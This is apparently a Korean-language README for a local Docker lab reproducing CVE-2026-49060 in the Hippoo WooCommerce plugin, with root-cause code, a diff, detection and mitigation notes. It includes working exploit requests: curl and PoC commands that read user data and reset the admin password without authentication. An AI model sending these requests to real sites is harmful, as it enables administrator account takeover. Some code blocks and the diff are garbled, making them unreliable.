rootdirective-sec/cve-2026-49060-labCVE-2026-49060을 재현하기 위한 Docker 기반 실습 환경입니다. 이 취약점은 WooCommerce WordPress 플러그인용 Hippoo Mobile App에서 인증되지 않은 권한 상승 문제입니다. 취약한 버전 1.9.4와 패치된 버전 1.9.5를 Python PoC와 함께 비교합니다.
이 저장소는 WordPress 플러그인 Hippoo Mobile App for WooCommerce에 영향을 미치는 부적절한 권한 할당 취약점인 CVE-2026-49060을 재현 및 검증하기 위한 로컬 Docker 실습 환경을 포함하고 있습니다.
취약한 동작은 Hippoo의 복제된 REST API 네임스페이스를 통해 노출됩니다:```text /wc-hippoo/v1/ext/
취약한 대상에서는 인증되지 않은 방문자가 복제된 WordPress REST 사용자 경로에 접근하고, 인증되지 않은 HTTP 요청을 통해 관리자 사용자의 비밀번호를 업데이트할 수 있습니다. 패치된 대상에서는 동일한 요청이 `403 Forbidden`으로 차단됩니다.
이 실습은 두 가지 Hippoo 버전을 비교합니다:
| 서비스 | Hippoo 버전 | 목적 | URL |
| --------- | -------------: | ---------------------------- | ----------------------- |
| `vuln` | 1.9.4 | 취약 비교 대상 | `http://localhost:8081` |
| `patched` | 1.9.5 | 패치된 비교 대상 | `http://localhost:8082` |
시연된 취약점 체인은 다음과 같습니다:```text
Unauthenticated visitor
→ Hippoo cloned REST namespace
→ /wc-hippoo/v1/ext/wp/v2/users/<id>
→ vulnerable permission handling allows access
→ unauthenticated GET exposes user data
→ unauthenticated POST can update the selected user's password
→ patched version blocks the same request with 403 Forbidden
이 연구실은 Hippoo 1.9.4와 Hippoo 1.9.5를 사용하여 취약한 버전 대 패치된 버전의 권한 부여 동작을 검증합니다.
이 연구실은 의도적으로 로컬 Docker 서비스로 범위가 제한됩니다. 외부 시스템을 대상으로 하지 않으며, 지속성, 웹 셸, 악성 코드 또는 외부 콜백을 포함하지 않습니다.
이 연구실은 공개 권고사항이 1.9.4까지의 버전을 영향을 받는 것으로 식별하기 때문에 취약한 비교 대상으로 Hippoo 1.9.4를 사용합니다.
이 연구실은 공개 권고사항 메타데이터가 1.9.5를 시연된 영향 범위에 대한 수정 버전으로 식별하기 때문에 패치된 비교 대상으로 Hippoo 1.9.5를 사용합니다.
공개 CVE-2026-49060 기록은 이 문제를 높은 수준에서 잘못된 권한 할당/권한 상승으로 설명합니다. 이 연구실은 Hippoo 1.9.4의 관찰 가능한 권한 부여 동작에 초점을 맞추고 이를 Hippoo 1.9.5와 비교합니다.
이 README의 근본 원인 요약은 연구실에서 사용된 취약한 버전과 패치된 Hippoo 버전 간의 소스 비교를 기반으로 합니다.
이 연구실은 모든 Hippoo 경로를 테스트한다고 주장하지 않습니다. 복제된 WordPress 사용자 REST 경로에 초점을 맞춥니다:```text /wc-hippoo/v1/ext/wp/v2/users/
The lab does not demonstrate:
* 지속성,
* 웹 셸 업로드,
* 임의 명령 실행,
* 외부 콜백,
* 악성코드 동작,
* 비실험실 시스템에 대한 공격,
* 또는 로컬 비밀번호 업데이트 검증을 넘어선 손상 후 활동.
## 근본 원인 요약
근본 원인은 Hippoo의 역할 및 권한 처리에서의 권한 논리 결함입니다.
Hippoo는 자체 네임스페이스 아래에 복제된 WordPress 및 WooCommerce REST 라우트를 노출합니다:```text
/wc-hippoo/v1/ext/
The route-cloning behavior is security-sensitive because the cloned route must preserve or strengthen the original route's authorization requirements. If the cloned route receives a permissive permission callback, unauthenticated users may be able to reach REST endpoints that should require authentication and authorization.
The relevant route-cloning behavior follows this pattern:```php function re_register_external_routes() { $server = rest_get_server(); $endpoints = $server->get_routes();
$new_namespace = $this->hippoo_namespace . '/ext';
foreach ($endpoints as $route => $handlers) {
if (strpos($route, $this->hippoo_namespace) === 0) {
continue;
}
foreach ($handlers as $handler) {
$default_permission_callback = array($this, 'is_user_wordpress_admin');
$permission_callback = apply_filters(
'hippoo_extension_permission_check',
$default_permission_callback,
$route,
$handler
);
register_rest_route(
$new_namespace,
$route,
array(
'methods' => $methods,
'callback' => $handler['callback'],
'args' => $handler['args'],
'permission_callback' => $permission_callback,
)
);
}
}
}
의도된 보안 모델은:```text
Original protected REST route
→ cloned into Hippoo namespace
→ permission callback still denies unauthenticated access
취약한 동작은 Hippoo 1.9.4가 두 가지 다른 상태에 대해 동일한 반환 값을 사용하기 때문에 발생합니다:```text
administrator / unrestricted access
unauthenticated visitor / no user
Hippoo `1.9.4`에서 권한 도우미는 로그인된 WordPress 사용자가 없을 때 `null`을 반환합니다:```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists()) {
return null;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
}
return $settings[$role];
}
return null; // Full access
}
취약한 버전은 또한 null을 허용된 것으로 처리합니다:```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin or unrestricted
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
이는 취약한 데이터 흐름을 생성합니다:```text
Unauthenticated visitor
→ no WordPress user exists
→ get_user_permissions() returns null
→ has_role_access() treats null as allowed
→ cloned REST route permission can become permissive
→ unauthenticated request reaches sensitive REST endpoints
문제는 단순히 REST 경로가 존재한다는 것이 아닙니다. 문제는 권한 결정이 인증되지 않은 방문자를 제한 없음(unrestricted)으로 잘못 처리할 수 있다는 것입니다.
패치된 버전은 이러한 상태를 분리합니다.
Hippoo 1.9.5에서는 인증되지 않은 방문자가 null 대신 false를 반환합니다.```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (isset($settings[$role])) {
return $settings[$role];
}
}
return false; // No access
}
패치된 인가 검사는 명시적으로 `false`를 거부합니다:```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin
}
if ($perms === false) {
return false;
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
보안 관련 변경 사항은:```text Before: unauthenticated visitor → null → allowed
After: unauthenticated visitor → false → denied
이것이 실험실이 보여주는 이유입니다:```text
Hippoo 1.9.4 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 200 OK
Hippoo 1.9.5 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 403 Forbidden
패치가 권한 반환 값의 의미를 변경합니다.
취약한 버전에서:```text null means administrator/full access null also means unauthenticated/no user
패치된 버전에서:```text
null means administrator/full access
false means unauthenticated/no role/no access
권한 도우미에서 중요한 소스 수준 변경 사항은 다음과 같습니다.```diff public static function get_user_permissions() { $user = wp_get_current_user();
return null;
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) { return null; // Full access }
$settings = get_option('hippoo_permissions_settings', []); foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
if (isset($settings[$role])) {
return $settings[$role];
}
return $settings[$role];
}
return null; // Full access
권한 부여 결정도 변경되었습니다:```diff
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
- return true; // admin or unrestricted
+ return true; // admin
}
+ if ($perms === false) {
+ return false;
+ }
+
if (empty($perms['general']['enable_access'])) {
return false;
}
}
이 패치는 Hippoo의 경로 복제 기능을 제거하지 않습니다. 대신 권한 평가에 대한 신뢰 경계를 수정합니다.
패치로부터 얻는 보안 교훈은 다음과 같습니다:```text A permission helper must not use the same return value for "administrator" and "unauthenticated visitor".
보안에 민감한 권한 함수는 각 상태에 대해 고유한 값을 사용해야 합니다:```text
administrator / full access → allowed
authenticated user with policy → evaluate policy
unauthenticated user → denied
unknown role / no configured ACL → denied
The lab runs two isolated WordPress installations through Docker Compose.```text . ├── docker-compose.yml ├── vuln/ │ └── Dockerfile ├── patched/ │ └── Dockerfile ├── poc/ │ └── poc.py ├── README.md └── .gitignore
두 WordPress 서비스는 별도의 데이터베이스와 별도의 플러그인 버전을 사용합니다:
| 서비스 | 구성 요소 | 버전 / 역할 |
| -------------- | -------------------------------- | ------------------------------ |
| `vuln` | WordPress + WooCommerce + Hippoo | 취약한 대상 애플리케이션 |
| `patched` | WordPress + WooCommerce + Hippoo | 패치된 대상 애플리케이션 |
| `db-vuln` | MariaDB | 취약한 대상용 데이터베이스 |
| `db-patched` | MariaDB | 패치된 대상용 데이터베이스 |
| `init-vuln` | WordPress initialization service | 취약한 대상 초기화 |
| `init-patched` | WordPress initialization service | 패치된 대상 초기화 |
기본적으로 노출된 서비스:```text
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
실습에서는 고정된 Hippoo 버전을 사용합니다:
| 대상 | Hippoo 버전 | 예상 동작 |
|---|---|---|
http://localhost:8081 | 1.9.4 | 인증되지 않은 복제 사용자 경로 허용 |
http://localhost:8082 | 1.9.5 | 인증되지 않은 복제 사용자 경로 차단 |
Hippoo가 WooCommerce REST 클래스 및 경로와 통합되므로 실습에서는 WooCommerce를 설치합니다.
Python 서드파티 패키지는 필요하지 않습니다. PoC는 Python 표준 라이브러리 모듈만 사용합니다.
깨끗한 상태에서 실습을 시작합니다:```bash docker compose down -v --remove-orphans
docker image rm -f
cve-2026-49060-vuln:1.9.4
cve-2026-49060-patched:1.9.5
docker compose up --build --wait -d
서비스 상태 확인:```bash
docker compose ps
예상되는 정상 서비스:```text cve-2026-49060-vuln cve-2026-49060-patched cve-2026-49060-init-vuln cve-2026-49060-init-patched cve-2026-49060-db-vuln cve-2026-49060-db-patched
웹 애플리케이션을 확인하십시오:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
두 대상에 대해 읽기 전용 검증을 실행하십시오:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
두 대상에 대해 능동적 로컬 검증을 실행하십시오:```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
명시적 비밀번호로 활성 검증 실행:```bash python3 poc/poc.py --update-password --password 'NewLabPass123!' http://127.0.0.1:8081
## PoC 사용법
하나 이상의 로컬 대상 URL을 위치 인수로 전달하십시오:```bash
python3 poc/poc.py <target_url> [target_url...]
예시:```bash python3 poc/poc.py http://127.0.0.1:8081 python3 poc/poc.py http://127.0.0.1:8082 python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
기본 모드는 읽기 전용입니다. 인증되지 않은 `GET` 요청을 복제된 사용자 경로로 전송하고 액세스가 허용되었는지 차단되었는지 보고합니다.
지원되는 옵션:```text
--update-password Send unauthenticated POST to update the selected user's password.
--user-id WordPress user ID to read or update. Default: 1.
--password Password used with --update-password.
능동적 검증 예시:```bash python3 poc/poc.py --update-password --user-id 1 --password 'Cve49060LabPass123!' http://127.0.0.1:8081
PoC는 루프백/로컬 대상만 허용합니다:```text
http://localhost:<port>
http://127.0.0.1:<port>
http://[::1]:<port>
기본적으로 비로컬 대상을 거부합니다.
명령어:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
예상되는 취약 대상 신호:```text
Target: target-1
Base : http://127.0.0.1:8081
[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: ALLOWED
Request : GET http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
예상된 패치된 대상 신호:```text Target: target-2 Base : http://127.0.0.1:8082
[+] REST index ready via /?rest_route=/ [+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: BLOCKED Request : GET http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
예상 요약:```text
Summary
target-1
URL : http://127.0.0.1:8081
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : ALLOWED
GET status : 200
target-2
URL : http://127.0.0.1:8082
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : BLOCKED
GET status : 403
Read-only comparison:
At least one target allowed unauthenticated GET access and at least one target blocked it.
This supports a vulnerable-vs-patched authorization behavior difference.
명령어:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
예상되는 취약한 대상 신호:```text
Active local validation: target-1
Base : http://127.0.0.1:8081
Unauthenticated POST password update result: ALLOWED
Request : POST http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
예상 패치된 대상 신호:```text Active local validation: target-2 Base : http://127.0.0.1:8082
Unauthenticated POST password update result: BLOCKED Request : POST http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
활성 검증은 로컬 취약 랩 대상 내의 일회용 WordPress 관리자 비밀번호만 변경합니다.
활성 검증 전 기본 로컬 랩 자격 증명:```text
Username: admin
Password: AdminPass123!
취약한 대상에서 성공적인 활성 검증 후 기본 비밀번호:```text Username: admin Password: Cve49060LabPass123!
## 검증 작동 방식
검증기는 먼저 WordPress REST API를 발견합니다.
일부 WordPress 환경에서는 예쁜 퍼머링크를 통해 REST 경로를 노출합니다.```text
/wp-json/
다른 것들은 query-string fallback을 통해 더 안정적으로 노출합니다:```text /?rest_route=/
검증기는 두 형식을 모두 시도하고 JSON REST 인덱스를 반환하는 형식을 사용합니다.
REST 발견 후, Hippoo 복제된 사용자 경로를 찾습니다:```text
/wc-hippoo/v1/ext/wp/v2/users
그런 다음 읽기 전용의 인증되지 않은 GET 요청을 수행합니다:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
예상되는 취약 동작:```text
HTTP 200 OK
JSON user object returned
예상되는 패치 이후 동작:```text HTTP 403 Forbidden JSON rest_forbidden error returned
`--update-password`가 활성화되면, 검증기는 인증되지 않은 POST 요청을 보냅니다:```text
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Content-Type: application/json
{
"password": "Cve49060LabPass123!"
}
예상되는 취약점 동작:```text HTTP 200 OK The selected user's password is updated inside the local lab target.
예상되는 패치된 동작:```text
HTTP 403 Forbidden
The update is blocked.
중요한 차이는 경로의 존재 여부가 아닙니다. 경로는 두 버전 모두에 존재합니다. 보안 차이는 인증되지 않은 요청이 이를 호출할 수 있는지 여부입니다.
읽기 전용 취약한 probe:```bash
curl -i
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
예상 결과:```text
HTTP/1.1 200 OK
Content-Type: application/json
읽기 전용 패치된 프로브:```bash
curl -i
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
예상 결과:```text
HTTP/1.1 403 Forbidden
Content-Type: application/json
활성 취약점 프로브:```bash
curl -i -X POST
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
예상 결과:```text
HTTP/1.1 200 OK
활성 패치된 프로브:```bash
curl -i -X POST
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
예상 결과:```text
HTTP/1.1 403 Forbidden
취약한 동작은 Hippoo의 네임스페이스 아래에 복제된 REST 경로에 대한 인증되지 않은 접근을 허용합니다.
가장 보안에 민감한 데모 경로는 복제된 WordPress 사용자 경로입니다:```text /wc-hippoo/v1/ext/wp/v2/users/
취약한 로컬 대상에서, 인증되지 않은 요청이 관리자 사용자의 비밀번호를 업데이트할 수 있습니다. 이는 통제된 실습 환경에서 계정 탈취 영향을 보여줍니다.
사이트 구성 및 노출된 라우트에 따라 잠재적인 실제 영향은 다음과 같습니다:
* 민감한 REST API 데이터에 대한 무단 접근,
* 관리자 계정 탈취,
* 권한 상승,
* WordPress 사용자 레코드의 무단 수정,
* 그리고 관리자 접근 권한 획득 후 전체 사이트 손상.
이 실습은 인증 실패와 로컬 관리자 비밀번호 업데이트만을 보여줍니다. 인증 후 익스플로잇, 플러그인 편집, 코드 실행, 지속성 또는 파괴적 행위는 포함되지 않습니다.
## 탐지 및 모니터링
잠재적 지표에는 Hippoo의 클론된 REST 네임스페이스에 대한 인증되지 않은 요청이 포함됩니다:```text
/wc-hippoo/v1/ext/
고위험 경로 패턴:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/ POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/
의심스러운 지표:```text
Unauthenticated POST requests to users endpoints
Requests containing "password" in JSON body
Requests to /wc-hippoo/v1/ext/wp/v2/users
Requests to cloned WooCommerce or WordPress REST routes under /wc-hippoo/v1/ext/
Unexpected 200 responses for unauthenticated REST API requests
액세스 로그 패턴 예시:```text POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Recommended monitoring actions:
* 웹 서버 액세스 로그에서 `/wc-hippoo/v1/ext/`를 검토하십시오.
* WordPress 인증 로그에서 예상치 못한 관리자 로그인을 검토하십시오.
* WordPress 사용자 기록에서 최근 비밀번호 변경 사항을 검토하십시오.
* 관리자 계정 이메일 주소, 역할 및 생성 타임스탬프를 검토하십시오.
* 관리자 계정 탈취가 의심되는 경우 플러그인/테마 파일 수정 시간을 검토하십시오.
* 인증이 필요한 REST API 요청이 인증되지 않은 사용자에게 `200 OK`를 반환하는지 모니터링하십시오.
## 완화 및 패치 노트
Hippoo Mobile App for WooCommerce를 패치된 버전으로 업그레이드하십시오.
특정 실험실 비교의 경우, Hippoo `1.9.5`는 `1.9.4`에서 허용된, 시연된 인증되지 않은 복제 사용자 경로 동작을 차단합니다.
프로덕션 환경에서는 실험실 비교 버전에서 멈추지 말고 사용 가능한 최신 버전으로 업데이트하십시오.
권장 완화 단계:
* Hippoo Mobile App for WooCommerce를 사용 가능한 최신 패치 버전으로 업데이트하십시오.
* 설치된 버전이 영향을 받는 범위보다 최신인지 확인하십시오.
* `/wc-hippoo/v1/ext/`가 공개적으로 노출되어 있는지 검토하십시오.
* 악용이 의심되는 경우 관리자 비밀번호를 교체하십시오.
* WordPress 관리자 계정에서 무단 변경 사항을 검토하십시오.
* 웹 액세스 로그에서 복제된 REST 경로로의 인증되지 않은 요청을 검토하십시오.
* 즉시 패치가 불가능한 경우 플러그인을 일시적으로 비활성화하십시오.
* WAF 또는 가상 패치를 업그레이드의 대체가 아닌 임시 계층으로 사용하십시오.
보안 엔지니어링 교훈:```text
Do not use the same sentinel value for "administrator" and "unauthenticated visitor".
Fail closed when user identity is missing.
REST route permission callbacks should deny by default.
Cloned or proxied routes must preserve or strengthen authorization, not weaken it.
컨테이너 상태 확인:```bash docker compose ps
초기화 로그를 확인하세요:```bash
docker compose logs init-vuln init-patched
웹 서비스 확인:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head
읽기 전용 검증 실행:```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
활성 검증 실행:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
활성 플러그인 확인:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
Hippoo 버전 확인:```bash
docker compose exec -T vuln sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
docker compose exec -T patched sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
취약한 대상에서 권한 로직을 검사하십시오:```bash
docker compose exec -T vuln sh -lc \
"grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
패치된 대상에서 권한 로직을 검사하세요:```bash
docker compose exec -T patched sh -lc
"grep -n "function get_user_permissions\|function has_role_access" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
검증 증거 저장:```bash
mkdir -p evidence
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/read-only-validation.txt
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/active-password-update-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
컨테이너와 네트워크를 중지하고 제거합니다:```bash docker compose down --remove-orphans
컨테이너, 네트워크, 볼륨 제거:```bash
docker compose down -v --remove-orphans
로컬 증거 파일이 생성된 경우 제거하십시오:```bash rm -rf evidence/
## 안전 경계
이 랩은 로컬 보안 연구 및 통제된 시연 전용입니다.
소유하지 않거나 명시적 테스트 권한이 없는 시스템에 대해 PoC 또는 수동 curl 요청을 실행하지 마십시오.
이 랩에서 실제 프로덕션 자격 증명, 실제 고객 데이터 또는 프로덕션 비밀을 사용하지 마십시오.
의도된 범위는 다음과 같은 로컬 Docker 서비스로 제한됩니다:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
PoC는 의도적으로 HTTP 전용이며 로컬 범위로 제한됩니다. Docker, Docker Compose, WP-CLI 또는 컨테이너 API를 호출하지 않습니다.
활성 검증 모드는 일회용 로컬 랩 대상 내에서 선택된 WordPress 사용자의 비밀번호만 변경합니다.
랩에는 다음에 대한 페이로드가 포함되지 않습니다:
목표는 통제된 환경에서 하나의 특정 기술적 조건을 입증하는 것입니다:```text unauthenticated request
## 참고 자료
* NVD: CVE-2026-49060
https://nvd.nist.gov/vuln/detail/CVE-2026-49060
* Patchstack: WordPress Hippoo Mobile App for WooCommerce 플러그인 <= 1.9.4 권한 상승
https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability
* GitHub Advisory: GHSA-mh6m-7983-2r5w
https://github.com/advisories/GHSA-mh6m-7983-2r5w
* WordPress.org 플러그인: Hippoo Mobile App for WooCommerce
https://wordpress.org/plugins/hippoo/
* WordPress.org 플러그인 SVN
https://plugins.svn.wordpress.org/hippoo/
* WordPress.org 플러그인 SVN 태그
https://plugins.svn.wordpress.org/hippoo/tags/
* WordPress REST API 핸드북: 라우트 및 엔드포인트
https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/
* OWASP 웹 보안 테스트 가이드: 인증 우회 테스트
https://owasp.org/www-project-web-security-testing-guide/
| 주장 | 증거 | 이 실습 환경에서 확인 방법 |
|---|
CVE-2026-49060은 1.9.4 버전까지의 WooCommerce용 Hippoo 모바일 앱에 영향을 미칩니다. | 공개 권고사항은 1.9.4 이하 / 1.9.4까지의 Hippoo가 영향을 받는 것으로 식별합니다. | 참고 자료 섹션을 검토하고 vuln 서비스 버전과 비교합니다. |
Hippoo 1.9.5는 패치된 비교 대상으로 사용됩니다. | 공개 권고사항 메타데이터는 1.9.5가 영향을 받는 범위에 대한 패치된 버전임을 식별합니다. | docker compose logs init-vuln init-patched를 실행하고 초기화된 플러그인 버전을 확인합니다. |
| 취약한 동작은 Hippoo의 복제된 REST 네임스페이스를 통해 노출됩니다. | Hippoo는 /wc-hippoo/v1/ext/ 아래에 외부 REST 경로를 다시 등록합니다. | python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082를 실행합니다. |
이 연구실에서 Hippoo 1.9.4는 복제된 사용자 경로에 대한 인증되지 않은 접근을 허용합니다. | 연구실 PoC는 http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1에서 200 OK를 받습니다. | 8081에 대해 읽기 전용 검증 명령을 실행합니다. |
이 연구실에서 Hippoo 1.9.5는 동일한 인증되지 않은 요청을 차단합니다. | 연구실 PoC는 http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1에서 403 Forbidden을 받습니다. | 8082에 대해 읽기 전용 검증 명령을 실행합니다. |
| 이 로컬 연구실에서 취약한 대상은 인증되지 않은 POST를 통해 관리자 비밀번호를 업데이트할 수 있습니다. | 활성 PoC는 --update-password가 사용될 때 취약한 대상에서 200 OK를 받습니다. | python3 poc/poc.py --update-password http://127.0.0.1:8081을 실행합니다. |
| 패치된 대상은 인증되지 않은 비밀번호 업데이트 요청을 차단합니다. | Hippoo 1.9.5는 동일한 복제된 사용자 경로에 대해 금지 응답을 반환합니다. | 두 대상 모두에 대해 활성 검증을 실행합니다. |
| PoC는 HTTP 전용입니다. | poc/poc.py는 HTTP 요청만 보내며 Docker, WP-CLI 또는 컨테이너 API를 호출하지 않습니다. | poc/poc.py를 검사합니다. |